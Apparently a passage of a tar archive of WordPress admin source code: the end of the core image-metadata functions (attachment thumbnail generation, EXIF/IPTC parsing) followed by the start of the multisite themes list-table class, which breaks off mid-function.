			$image_meta['sizes'] = array_merge( $image_meta['sizes'], $created_sizes );
			wp_update_attachment_metadata( $attachment_id, $image_meta );
		}
	}

return $image_meta;
}

/**
 * Generate attachment meta data and create image sub-sizes for images.
 *
 * @since 2.1.0
 *
 * @param int    $attachment_id Attachment Id to process.
 * @param string $file          Filepath of the Attached image.
 * @return mixed Metadata for attachment.
 */
function wp_generate_attachment_metadata( $attachment_id, $file ) {
	$attachment = get_post( $attachment_id );

$metadata  = array();
	$support   = false;
	$mime_type = get_post_mime_type( $attachment );

if ( preg_match( '!^image/!', $mime_type ) && file_is_displayable_image( $file ) ) {
		// Make thumbnails and other intermediate sizes.
		$metadata = wp_create_image_subsizes( $file, $attachment_id );
	} elseif ( wp_attachment_is( 'video', $attachment ) ) {
		$metadata = wp_read_video_metadata( $file );
		$support  = current_theme_supports( 'post-thumbnails', 'attachment:video' ) || post_type_supports( 'attachment:video', 'thumbnail' );
	} elseif ( wp_attachment_is( 'audio', $attachment ) ) {
		$metadata = wp_read_audio_metadata( $file );
		$support  = current_theme_supports( 'post-thumbnails', 'attachment:audio' ) || post_type_supports( 'attachment:audio', 'thumbnail' );
	}

if ( $support && ! empty( $metadata['image']['data'] ) ) {
		// Check for existing cover.
		$hash   = md5( $metadata['image']['data'] );
		$posts  = get_posts(
			array(
				'fields'         => 'ids',
				'post_type'      => 'attachment',
				'post_mime_type' => $metadata['image']['mime'],
				'post_status'    => 'inherit',
				'posts_per_page' => 1,
				'meta_key'       => '_cover_hash',
				'meta_value'     => $hash,
			)
		);
		$exists = reset( $posts );

if ( ! empty( $exists ) ) {
			update_post_meta( $attachment_id, '_thumbnail_id', $exists );
		} else {
			$ext = '.jpg';
			switch ( $metadata['image']['mime'] ) {
				case 'image/gif':
					$ext = '.gif';
					break;
				case 'image/png':
					$ext = '.png';
					break;
			}
			$basename = str_replace( '.', '-', wp_basename( $file ) ) . '-image' . $ext;
			$uploaded = wp_upload_bits( $basename, '', $metadata['image']['data'] );
			if ( false === $uploaded['error'] ) {
				$image_attachment = array(
					'post_mime_type' => $metadata['image']['mime'],
					'post_type'      => 'attachment',
					'post_content'   => '',
				);
				/**
				 * Filters the parameters for the attachment thumbnail creation.
				 *
				 * @since 3.9.0
				 *
				 * @param array $image_attachment An array of parameters to create the thumbnail.
				 * @param array $metadata         Current attachment metadata.
				 * @param array $uploaded         {
				 *     Information about the newly-uploaded file.
				 *
				 *     @type string $file  Filename of the newly-uploaded file.
				 *     @type string $url   URL of the uploaded file.
				 *     @type string $type  File type.
				 * }
				 */
				$image_attachment = apply_filters( 'attachment_thumbnail_args', $image_attachment, $metadata, $uploaded );

$sub_attachment_id = wp_insert_attachment( $image_attachment, $uploaded['file'] );
				add_post_meta( $sub_attachment_id, '_cover_hash', $hash );
				$attach_data = wp_generate_attachment_metadata( $sub_attachment_id, $uploaded['file'] );
				wp_update_attachment_metadata( $sub_attachment_id, $attach_data );
				update_post_meta( $attachment_id, '_thumbnail_id', $sub_attachment_id );
			}
		}
	} elseif ( 'application/pdf' === $mime_type ) {
		// Try to create image thumbnails for PDFs.

$fallback_sizes = array(
			'thumbnail',
			'medium',
			'large',
		);

/**
		 * Filters the image sizes generated for non-image mime types.
		 *
		 * @since 4.7.0
		 *
		 * @param string[] $fallback_sizes An array of image size names.
		 * @param array    $metadata       Current attachment metadata.
		 */
		$fallback_sizes = apply_filters( 'fallback_intermediate_image_sizes', $fallback_sizes, $metadata );

$registered_sizes = wp_get_registered_image_subsizes();
		$merged_sizes     = array_intersect_key( $registered_sizes, array_flip( $fallback_sizes ) );

// Force thumbnails to be soft crops.
		if ( isset( $merged_sizes['thumbnail'] ) && is_array( $merged_sizes['thumbnail'] ) ) {
			$merged_sizes['thumbnail']['crop'] = false;
		}

// Only load PDFs in an image editor if we're processing sizes.
		if ( ! empty( $merged_sizes ) ) {
			$editor = wp_get_image_editor( $file );

if ( ! is_wp_error( $editor ) ) { // No support for this type of file.
				/*
				 * PDFs may have the same file filename as JPEGs.
				 * Ensure the PDF preview image does not overwrite any JPEG images that already exist.
				 */
				$dirname      = dirname( $file ) . '/';
				$ext          = '.' . pathinfo( $file, PATHINFO_EXTENSION );
				$preview_file = $dirname . wp_unique_filename( $dirname, wp_basename( $file, $ext ) . '-pdf.jpg' );

$uploaded = $editor->save( $preview_file, 'image/jpeg' );
				unset( $editor );

// Resize based on the full size image, rather than the source.
				if ( ! is_wp_error( $uploaded ) ) {
					$image_file = $uploaded['path'];
					unset( $uploaded['path'] );

$metadata['sizes'] = array(
						'full' => $uploaded,
					);

// Save the meta data before any image post-processing errors could happen.
					wp_update_attachment_metadata( $attachment_id, $metadata );

// Create sub-sizes saving the image meta after each.
					$metadata = _wp_make_subsizes( $merged_sizes, $image_file, $metadata, $attachment_id );
				}
			}
		}
	}

// Remove the blob of binary data from the array.
	if ( $metadata ) {
		unset( $metadata['image']['data'] );
	}

/**
	 * Filters the generated attachment meta data.
	 *
	 * @since 2.1.0
	 * @since 5.3.0 The `$context` parameter was added.
	 *
	 * @param array  $metadata      An array of attachment meta data.
	 * @param int    $attachment_id Current attachment ID.
	 * @param string $context       Additional context. Can be 'create' when metadata was initially created for new attachment
	 *                              or 'update' when the metadata was updated.
	 */
	return apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id, 'create' );
}

/**
 * Convert a fraction string to a decimal.
 *
 * @since 2.5.0
 *
 * @param string $str
 * @return int|float
 */
function wp_exif_frac2dec( $str ) {
	if ( false === strpos( $str, '/' ) ) {
		return $str;
	}

list( $numerator, $denominator ) = explode( '/', $str );
	if ( ! empty( $denominator ) ) {
		return $numerator / $denominator;
	}
	return $str;
}

/**
 * Convert the exif date format to a unix timestamp.
 *
 * @since 2.5.0
 *
 * @param string $str
 * @return int
 */
function wp_exif_date2ts( $str ) {
	list( $date, $time ) = explode( ' ', trim( $str ) );
	list( $y, $m, $d )   = explode( ':', $date );

return strtotime( "{$y}-{$m}-{$d} {$time}" );
}

/**
 * Get extended image metadata, exif or iptc as available.
 *
 * Retrieves the EXIF metadata aperture, credit, camera, caption, copyright, iso
 * created_timestamp, focal_length, shutter_speed, and title.
 *
 * The IPTC metadata that is retrieved is APP13, credit, byline, created date
 * and time, caption, copyright, and title. Also includes FNumber, Model,
 * DateTimeDigitized, FocalLength, ISOSpeedRatings, and ExposureTime.
 *
 * @todo Try other exif libraries if available.
 * @since 2.5.0
 *
 * @param string $file
 * @return bool|array False on failure. Image metadata array on success.
 */
function wp_read_image_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

list( , , $image_type ) = @getimagesize( $file );

/*
	 * EXIF contains a bunch of data we'll probably never need formatted in ways
	 * that are difficult to use. We'll normalize it and just extract the fields
	 * that are likely to be useful. Fractions and numbers are converted to
	 * floats, dates to unix timestamps, and everything else to strings.
	 */
	$meta = array(
		'aperture'          => 0,
		'credit'            => '',
		'camera'            => '',
		'caption'           => '',
		'created_timestamp' => 0,
		'copyright'         => '',
		'focal_length'      => 0,
		'iso'               => 0,
		'shutter_speed'     => 0,
		'title'             => '',
		'orientation'       => 0,
		'keywords'          => array(),
	);

$iptc = array();
	/*
	 * Read IPTC first, since it might contain data not available in exif such
	 * as caption, description etc.
	 */
	if ( is_callable( 'iptcparse' ) ) {
		@getimagesize( $file, $info );

if ( ! empty( $info['APP13'] ) ) {
			$iptc = @iptcparse( $info['APP13'] );

// Headline, "A brief synopsis of the caption".
			if ( ! empty( $iptc['2#105'][0] ) ) {
				$meta['title'] = trim( $iptc['2#105'][0] );
				/*
				* Title, "Many use the Title field to store the filename of the image,
				* though the field may be used in many ways".
				*/
			} elseif ( ! empty( $iptc['2#005'][0] ) ) {
				$meta['title'] = trim( $iptc['2#005'][0] );
			}

if ( ! empty( $iptc['2#120'][0] ) ) { // Description / legacy caption.
				$caption = trim( $iptc['2#120'][0] );

mbstring_binary_safe_encoding();
				$caption_length = strlen( $caption );
				reset_mbstring_encoding();

if ( empty( $meta['title'] ) && $caption_length < 80 ) {
					// Assume the title is stored in 2:120 if it's short.
					$meta['title'] = $caption;
				}

$meta['caption'] = $caption;
			}

if ( ! empty( $iptc['2#110'][0] ) ) { // Credit.
				$meta['credit'] = trim( $iptc['2#110'][0] );
			} elseif ( ! empty( $iptc['2#080'][0] ) ) { // Creator / legacy byline.
				$meta['credit'] = trim( $iptc['2#080'][0] );
			}

if ( ! empty( $iptc['2#055'][0] ) && ! empty( $iptc['2#060'][0] ) ) { // Created date and time.
				$meta['created_timestamp'] = strtotime( $iptc['2#055'][0] . ' ' . $iptc['2#060'][0] );
			}

if ( ! empty( $iptc['2#116'][0] ) ) { // Copyright.
				$meta['copyright'] = trim( $iptc['2#116'][0] );
			}

if ( ! empty( $iptc['2#025'][0] ) ) { // Keywords array.
				$meta['keywords'] = array_values( $iptc['2#025'] );
			}
		}
	}

$exif = array();

/**
	 * Filters the image types to check for exif data.
	 *
	 * @since 2.5.0
	 *
	 * @param array $image_types Image types to check for exif data.
	 */
	$exif_image_types = apply_filters( 'wp_read_image_metadata_types', array( IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM ) );

if ( is_callable( 'exif_read_data' ) && in_array( $image_type, $exif_image_types, true ) ) {
		$exif = @exif_read_data( $file );

if ( ! empty( $exif['ImageDescription'] ) ) {
			mbstring_binary_safe_encoding();
			$description_length = strlen( $exif['ImageDescription'] );
			reset_mbstring_encoding();

if ( empty( $meta['title'] ) && $description_length < 80 ) {
				// Assume the title is stored in ImageDescription.
				$meta['title'] = trim( $exif['ImageDescription'] );
			}

if ( empty( $meta['caption'] ) && ! empty( $exif['COMPUTED']['UserComment'] ) ) {
				$meta['caption'] = trim( $exif['COMPUTED']['UserComment'] );
			}

if ( empty( $meta['caption'] ) ) {
				$meta['caption'] = trim( $exif['ImageDescription'] );
			}
		} elseif ( empty( $meta['caption'] ) && ! empty( $exif['Comments'] ) ) {
			$meta['caption'] = trim( $exif['Comments'] );
		}

if ( empty( $meta['credit'] ) ) {
			if ( ! empty( $exif['Artist'] ) ) {
				$meta['credit'] = trim( $exif['Artist'] );
			} elseif ( ! empty( $exif['Author'] ) ) {
				$meta['credit'] = trim( $exif['Author'] );
			}
		}

if ( empty( $meta['copyright'] ) && ! empty( $exif['Copyright'] ) ) {
			$meta['copyright'] = trim( $exif['Copyright'] );
		}
		if ( ! empty( $exif['FNumber'] ) ) {
			$meta['aperture'] = round( wp_exif_frac2dec( $exif['FNumber'] ), 2 );
		}
		if ( ! empty( $exif['Model'] ) ) {
			$meta['camera'] = trim( $exif['Model'] );
		}
		if ( empty( $meta['created_timestamp'] ) && ! empty( $exif['DateTimeDigitized'] ) ) {
			$meta['created_timestamp'] = wp_exif_date2ts( $exif['DateTimeDigitized'] );
		}
		if ( ! empty( $exif['FocalLength'] ) ) {
			$meta['focal_length'] = (string) wp_exif_frac2dec( $exif['FocalLength'] );
		}
		if ( ! empty( $exif['ISOSpeedRatings'] ) ) {
			$meta['iso'] = is_array( $exif['ISOSpeedRatings'] ) ? reset( $exif['ISOSpeedRatings'] ) : $exif['ISOSpeedRatings'];
			$meta['iso'] = trim( $meta['iso'] );
		}
		if ( ! empty( $exif['ExposureTime'] ) ) {
			$meta['shutter_speed'] = (string) wp_exif_frac2dec( $exif['ExposureTime'] );
		}
		if ( ! empty( $exif['Orientation'] ) ) {
			$meta['orientation'] = $exif['Orientation'];
		}
	}

foreach ( array( 'title', 'caption', 'credit', 'copyright', 'camera', 'iso' ) as $key ) {
		if ( $meta[ $key ] && ! seems_utf8( $meta[ $key ] ) ) {
			$meta[ $key ] = utf8_encode( $meta[ $key ] );
		}
	}

foreach ( $meta['keywords'] as $key => $keyword ) {
		if ( ! seems_utf8( $keyword ) ) {
			$meta['keywords'][ $key ] = utf8_encode( $keyword );
		}
	}

$meta = wp_kses_post_deep( $meta );

/**
	 * Filters the array of meta data read from an image's exif data.
	 *
	 * @since 2.5.0
	 * @since 4.4.0 The `$iptc` parameter was added.
	 * @since 5.0.0 The `$exif` parameter was added.
	 *
	 * @param array  $meta       Image meta data.
	 * @param string $file       Path to image file.
	 * @param int    $image_type Type of image, one of the `IMAGETYPE_XXX` constants.
	 * @param array  $iptc       IPTC data.
	 * @param array  $exif       EXIF data.
	 */
	return apply_filters( 'wp_read_image_metadata', $meta, $file, $image_type, $iptc, $exif );

}

/**
 * Validate that file is an image.
 *
 * @since 2.5.0
 *
 * @param string $path File path to test if valid image.
 * @return bool True if valid image, false if not valid image.
 */
function file_is_valid_image( $path ) {
	$size = @getimagesize( $path );
	return ! empty( $size );
}

/**
 * Validate that file is suitable for displaying within a web page.
 *
 * @since 2.5.0
 *
 * @param string $path File path to test.
 * @return bool True if suitable, false if not suitable.
 */
function file_is_displayable_image( $path ) {
	$displayable_image_types = array( IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_BMP, IMAGETYPE_ICO );

$info = @getimagesize( $path );
	if ( empty( $info ) ) {
		$result = false;
	} elseif ( ! in_array( $info[2], $displayable_image_types, true ) ) {
		$result = false;
	} else {
		$result = true;
	}

/**
	 * Filters whether the current image is displayable in the browser.
	 *
	 * @since 2.5.0
	 *
	 * @param bool   $result Whether the image can be displayed. Default true.
	 * @param string $path   Path to the image.
	 */
	return apply_filters( 'file_is_displayable_image', $result, $path );
}

/**
 * Load an image resource for editing.
 *
 * @since 2.9.0
 *
 * @param string $attachment_id Attachment ID.
 * @param string $mime_type Image mime type.
 * @param string $size Optional. Image size, defaults to 'full'.
 * @return resource|false The resulting image resource on success, false on failure.
 */
function load_image_to_edit( $attachment_id, $mime_type, $size = 'full' ) {
	$filepath = _load_image_to_edit_path( $attachment_id, $size );
	if ( empty( $filepath ) ) {
		return false;
	}

switch ( $mime_type ) {
		case 'image/jpeg':
			$image = imagecreatefromjpeg( $filepath );
			break;
		case 'image/png':
			$image = imagecreatefrompng( $filepath );
			break;
		case 'image/gif':
			$image = imagecreatefromgif( $filepath );
			break;
		default:
			$image = false;
			break;
	}
	if ( is_resource( $image ) ) {
		/**
		 * Filters the current image being loaded for editing.
		 *
		 * @since 2.9.0
		 *
		 * @param resource $image         Current image.
		 * @param string   $attachment_id Attachment ID.
		 * @param string   $size          Image size.
		 */
		$image = apply_filters( 'load_image_to_edit', $image, $attachment_id, $size );
		if ( function_exists( 'imagealphablending' ) && function_exists( 'imagesavealpha' ) ) {
			imagealphablending( $image, false );
			imagesavealpha( $image, true );
		}
	}
	return $image;
}

/**
 * Retrieve the path or url of an attachment's attached file.
 *
 * If the attached file is not present on the local filesystem (usually due to replication plugins),
 * then the url of the file is returned if url fopen is supported.
 *
 * @since 3.4.0
 * @access private
 *
 * @param string $attachment_id Attachment ID.
 * @param string $size Optional. Image size, defaults to 'full'.
 * @return string|false File path or url on success, false on failure.
 */
function _load_image_to_edit_path( $attachment_id, $size = 'full' ) {
	$filepath = get_attached_file( $attachment_id );

if ( $filepath && file_exists( $filepath ) ) {
		if ( 'full' !== $size ) {
			$data = image_get_intermediate_size( $attachment_id, $size );

if ( $data ) {
				$filepath = path_join( dirname( $filepath ), $data['file'] );

/**
				 * Filters the path to the current image.
				 *
				 * The filter is evaluated for all image sizes except 'full'.
				 *
				 * @since 3.1.0
				 *
				 * @param string $path          Path to the current image.
				 * @param string $attachment_id Attachment ID.
				 * @param string $size          Size of the image.
				 */
				$filepath = apply_filters( 'load_image_to_edit_filesystempath', $filepath, $attachment_id, $size );
			}
		}
	} elseif ( function_exists( 'fopen' ) && ini_get( 'allow_url_fopen' ) ) {
		/**
		 * Filters the image URL if not in the local filesystem.
		 *
		 * The filter is only evaluated if fopen is enabled on the server.
		 *
		 * @since 3.1.0
		 *
		 * @param string $image_url     Current image URL.
		 * @param string $attachment_id Attachment ID.
		 * @param string $size          Size of the image.
		 */
		$filepath = apply_filters( 'load_image_to_edit_attachmenturl', wp_get_attachment_url( $attachment_id ), $attachment_id, $size );
	}

/**
	 * Filters the returned path or URL of the current image.
	 *
	 * @since 2.9.0
	 *
	 * @param string|bool $filepath      File path or URL to current image, or false.
	 * @param string      $attachment_id Attachment ID.
	 * @param string      $size          Size of the image.
	 */
	return apply_filters( 'load_image_to_edit_path', $filepath, $attachment_id, $size );
}

/**
 * Copy an existing image file.
 *
 * @since 3.4.0
 * @access private
 *
 * @param string $attachment_id Attachment ID.
 * @return string|false New file path on success, false on failure.
 */
function _copy_image_file( $attachment_id ) {
	$dst_file = get_attached_file( $attachment_id );
	$src_file = $dst_file;

if ( ! file_exists( $src_file ) ) {
		$src_file = _load_image_to_edit_path( $attachment_id );
	}

if ( $src_file ) {
		$dst_file = str_replace( wp_basename( $dst_file ), 'copy-' . wp_basename( $dst_file ), $dst_file );
		$dst_file = dirname( $dst_file ) . '/' . wp_unique_filename( dirname( $dst_file ), wp_basename( $dst_file ) );

/*
		 * The directory containing the original file may no longer
		 * exist when using a replication plugin.
		 */
		wp_mkdir_p( dirname( $dst_file ) );

if ( ! copy( $src_file, $dst_file ) ) {
			$dst_file = false;
		}
	} else {
		$dst_file = false;
	}

return $dst_file;
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-ms-themes-list-table.php�������������������������������������������������������������������0000604�����������������00000065102�15075125354�0012753 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * List Table API: WP_MS_Themes_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying themes in a list table for the network admin.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_MS_Themes_List_Table extends WP_List_Table {

public $site_id;
	public $is_site_themes;

private $has_items;

/**
	 * Whether to show the auto-updates UI.
	 *
	 * @since 5.5.0
	 *
	 * @var bool True if auto-updates UI is to be shown, false otherwise.
	 */
	protected $show_autoupdates = true;

/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global string $status
	 * @global int    $page
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $status, $page;

parent::__construct(
			array(
				'plural' => 'themes',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

$status = isset( $_REQUEST['theme_status'] ) ? $_REQUEST['theme_status'] : 'all';
		if ( ! in_array( $status, array( 'all', 'enabled', 'disabled', 'upgrade', 'search', 'broken', 'auto-update-enabled', 'auto-update-disabled' ), true ) ) {
			$status = 'all';
		}

$page = $this->get_pagenum();

$this->is_site_themes = ( 'site-themes-network' === $this->screen->id ) ? true : false;

if ( $this->is_site_themes ) {
			$this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
		}

$this->show_autoupdates = wp_is_auto_update_enabled_for_type( 'theme' ) &&
			! $this->is_site_themes && current_user_can( 'update_themes' );
	}

/**
	 * @return array
	 */
	protected function get_table_classes() {
		// @todo Remove and add CSS for .themes.
		return array( 'widefat', 'plugins' );
	}

/**
	 * @return bool
	 */
	public function ajax_user_can() {
		if ( $this->is_site_themes ) {
			return current_user_can( 'manage_sites' );
		} else {
			return current_user_can( 'manage_network_themes' );
		}
	}

/**
	 * @global string $status
	 * @global array $totals
	 * @global int $page
	 * @global string $orderby
	 * @global string $order
	 * @global string $s
	 */
	public function prepare_items() {
		global $status, $totals, $page, $orderby, $order, $s;

wp_reset_vars( array( 'orderby', 'order', 's' ) );

$themes = array(
			/**
			 * Filters the full array of WP_Theme objects to list in the Multisite
			 * themes list table.
			 *
			 * @since 3.1.0
			 *
			 * @param WP_Theme[] $all Array of WP_Theme objects to display in the list table.
			 */
			'all'      => apply_filters( 'all_themes', wp_get_themes() ),
			'search'   => array(),
			'enabled'  => array(),
			'disabled' => array(),
			'upgrade'  => array(),
			'broken'   => $this->is_site_themes ? array() : wp_get_themes( array( 'errors' => true ) ),
		);

if ( $this->show_autoupdates ) {
			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

$themes['auto-update-enabled']  = array();
			$themes['auto-update-disabled'] = array();
		}

if ( $this->is_site_themes ) {
			$themes_per_page = $this->get_items_per_page( 'site_themes_network_per_page' );
			$allowed_where   = 'site';
		} else {
			$themes_per_page = $this->get_items_per_page( 'themes_network_per_page' );
			$allowed_where   = 'network';
		}

$current      = get_site_transient( 'update_themes' );
		$maybe_update = current_user_can( 'update_themes' ) && ! $this->is_site_themes && $current;

foreach ( (array) $themes['all'] as $key => $theme ) {
			if ( $this->is_site_themes && $theme->is_allowed( 'network' ) ) {
				unset( $themes['all'][ $key ] );
				continue;
			}

if ( $maybe_update && isset( $current->response[ $key ] ) ) {
				$themes['all'][ $key ]->update = true;
				$themes['upgrade'][ $key ]     = $themes['all'][ $key ];
			}

$filter                    = $theme->is_allowed( $allowed_where, $this->site_id ) ? 'enabled' : 'disabled';
			$themes[ $filter ][ $key ] = $themes['all'][ $key ];

$theme_data = array(
				'update_supported' => isset( $theme->update_supported ) ? $theme->update_supported : true,
			);

// Extra info if known. array_merge() ensures $theme_data has precedence if keys collide.
			if ( isset( $current->response[ $key ] ) ) {
				$theme_data = array_merge( (array) $current->response[ $key ], $theme_data );
			} elseif ( isset( $current->no_update[ $key ] ) ) {
				$theme_data = array_merge( (array) $current->no_update[ $key ], $theme_data );
			} else {
				$theme_data['update_supported'] = false;
			}

$theme->update_supported = $theme_data['update_supported'];

/*
			 * Create the expected payload for the auto_update_theme filter, this is the same data
			 * as contained within $updates or $no_updates but used when the Theme is not known.
			 */
			$filter_payload = array(
				'theme'        => $key,
				'new_version'  => '',
				'url'          => '',
				'package'      => '',
				'requires'     => '',
				'requires_php' => '',
			);

$filter_payload = array_merge( $filter_payload, array_intersect_key( $theme_data, $filter_payload ) );

$type = 'theme';
			/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
			$auto_update_forced = apply_filters( "auto_update_{$type}", null, (object) $filter_payload );

if ( ! is_null( $auto_update_forced ) ) {
				$theme->auto_update_forced = $auto_update_forced;
			}

if ( $this->show_autoupdates ) {
				$enabled = in_array( $key, $auto_updates, true ) && $theme->update_supported;
				if ( isset( $theme->auto_update_forced ) ) {
					$enabled = (bool) $theme->auto_update_forced;
				}

if ( $enabled ) {
					$themes['auto-update-enabled'][ $key ] = $theme;
				} else {
					$themes['auto-update-disabled'][ $key ] = $theme;
				}
			}
		}

if ( $s ) {
			$status           = 'search';
			$themes['search'] = array_filter( array_merge( $themes['all'], $themes['broken'] ), array( $this, '_search_callback' ) );
		}

$totals = array();
		foreach ( $themes as $type => $list ) {
			$totals[ $type ] = count( $list );
		}

if ( empty( $themes[ $status ] ) && ! in_array( $status, array( 'all', 'search' ), true ) ) {
			$status = 'all';
		}

$this->items = $themes[ $status ];
		WP_Theme::sort_by_name( $this->items );

$this->has_items = ! empty( $themes['all'] );
		$total_this_page = $totals[ $status ];

wp_localize_script(
			'updates',
			'_wpUpdatesItemCounts',
			array(
				'themes' => $totals,
				'totals' => wp_get_update_data(),
			)
		);

if ( $orderby ) {
			$orderby = ucfirst( $orderby );
			$order   = strtoupper( $order );

if ( 'Name' === $orderby ) {
				if ( 'ASC' === $order ) {
					$this->items = array_reverse( $this->items );
				}
			} else {
				uasort( $this->items, array( $this, '_order_callback' ) );
			}
		}

$start = ( $page - 1 ) * $themes_per_page;

if ( $total_this_page > $themes_per_page ) {
			$this->items = array_slice( $this->items, $start, $themes_per_page, true );
		}

$this->set_pagination_args(
			array(
				'total_items' => $total_this_page,
				'per_page'    => $themes_per_page,
			)
		);
	}

/**
	 * @param WP_Theme $theme
	 * @return bool
	 */
	public function _search_callback( $theme ) {
		static $term = null;
		if ( is_null( $term ) ) {
			$term = wp_unslash( $_REQUEST['s'] );
		}

foreach ( array( 'Name', 'Description', 'Author', 'Author', 'AuthorURI' ) as $field ) {
			// Don't mark up; Do translate.
			if ( false !== stripos( $theme->display( $field, false, true ), $term ) ) {
				return true;
			}
		}

if ( false !== stripos( $theme->get_stylesheet(), $term ) ) {
			return true;
		}

if ( false !== stripos( $theme->get_template(), $term ) ) {
			return true;
		}

return false;
	}

// Not used by any core columns.
	/**
	 * @global string $orderby
	 * @global string $order
	 * @param array $theme_a
	 * @param array $theme_b
	 * @return int
	 */
	public function _order_callback( $theme_a, $theme_b ) {
		global $orderby, $order;

$a = $theme_a[ $orderby ];
		$b = $theme_b[ $orderby ];

if ( $a == $b ) {
			return 0;
		}

if ( 'DESC' === $order ) {
			return ( $a < $b ) ? 1 : -1;
		} else {
			return ( $a < $b ) ? -1 : 1;
		}
	}

/**
	 */
	public function no_items() {
		if ( $this->has_items ) {
			_e( 'No themes found.' );
		} else {
			_e( 'No themes are currently available.' );
		}
	}

/**
	 * @return array
	 */
	public function get_columns() {
		$columns = array(
			'cb'          => '<input type="checkbox" />',
			'name'        => __( 'Theme' ),
			'description' => __( 'Description' ),
		);

if ( $this->show_autoupdates ) {
			$columns['auto-updates'] = __( 'Automatic Updates' );
		}

return $columns;
	}

/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'name' => 'name',
		);
	}

/**
	 * Gets the name of the primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Unalterable name of the primary column name, in this case, 'name'.
	 */
	protected function get_primary_column_name() {
		return 'name';
	}

/**
	 * @global array $totals
	 * @global string $status
	 * @return array
	 */
	protected function get_views() {
		global $totals, $status;

$status_links = array();
		foreach ( $totals as $type => $count ) {
			if ( ! $count ) {
				continue;
			}

switch ( $type ) {
				case 'all':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'All <span class="count">(%s)</span>',
						'All <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'enabled':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Enabled <span class="count">(%s)</span>',
						'Enabled <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'disabled':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Disabled <span class="count">(%s)</span>',
						'Disabled <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'upgrade':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Update Available <span class="count">(%s)</span>',
						'Update Available <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'broken':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Broken <span class="count">(%s)</span>',
						'Broken <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'auto-update-enabled':
					/* translators: %s: Number of themes. */
					$text = _n(
						'Auto-updates Enabled <span class="count">(%s)</span>',
						'Auto-updates Enabled <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'auto-update-disabled':
					/* translators: %s: Number of themes. */
					$text = _n(
						'Auto-updates Disabled <span class="count">(%s)</span>',
						'Auto-updates Disabled <span class="count">(%s)</span>',
						$count
					);
					break;
			}

if ( $this->is_site_themes ) {
				$url = 'site-themes.php?id=' . $this->site_id;
			} else {
				$url = 'themes.php';
			}

if ( 'search' !== $type ) {
				$status_links[ $type ] = sprintf(
					"<a href='%s'%s>%s</a>",
					esc_url( add_query_arg( 'theme_status', $type, $url ) ),
					( $type === $status ) ? ' class="current" aria-current="page"' : '',
					sprintf( $text, number_format_i18n( $count ) )
				);
			}
		}

return $status_links;
	}

/**
	 * @global string $status
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		global $status;

$actions = array();
		if ( 'enabled' !== $status ) {
			$actions['enable-selected'] = $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' );
		}
		if ( 'disabled' !== $status ) {
			$actions['disable-selected'] = $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' );
		}
		if ( ! $this->is_site_themes ) {
			if ( current_user_can( 'update_themes' ) ) {
				$actions['update-selected'] = __( 'Update' );
			}
			if ( current_user_can( 'delete_themes' ) ) {
				$actions['delete-selected'] = __( 'Delete' );
			}
		}

if ( $this->show_autoupdates ) {
			if ( 'auto-update-enabled' !== $status ) {
				$actions['enable-auto-update-selected'] = __( 'Enable Auto-updates' );
			}

if ( 'auto-update-disabled' !== $status ) {
				$actions['disable-auto-update-selected'] = __( 'Disable Auto-updates' );
			}
		}

return $actions;
	}

/**
	 */
	public function display_rows() {
		foreach ( $this->items as $theme ) {
			$this->single_row( $theme );
		}
	}

/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_cb( $theme ) {
		$checkbox_id = 'checkbox_' . md5( $theme->get( 'Name' ) );
		?>
		<input type="checkbox" name="checked[]" value="<?php echo esc_attr( $theme->get_stylesheet() ); ?>" id="<?php echo $checkbox_id; ?>" />
		<label class="screen-reader-text" for="<?php echo $checkbox_id; ?>" ><?php _e( 'Select' ); ?>  <?php echo $theme->display( 'Name' ); ?></label>
		<?php
	}

/**
	 * Handles the name column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $status
	 * @global int    $page
	 * @global string $s
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_name( $theme ) {
		global $status, $page, $s;

$context = $status;

if ( $this->is_site_themes ) {
			$url     = "site-themes.php?id={$this->site_id}&amp;";
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$url     = 'themes.php?';
			$allowed = $theme->is_allowed( 'network' );
		}

// Pre-order.
		$actions = array(
			'enable'  => '',
			'disable' => '',
			'delete'  => '',
		);

$stylesheet = $theme->get_stylesheet();
		$theme_key  = urlencode( $stylesheet );

if ( ! $allowed ) {
			if ( ! $theme->errors() ) {
				$url = add_query_arg(
					array(
						'action' => 'enable',
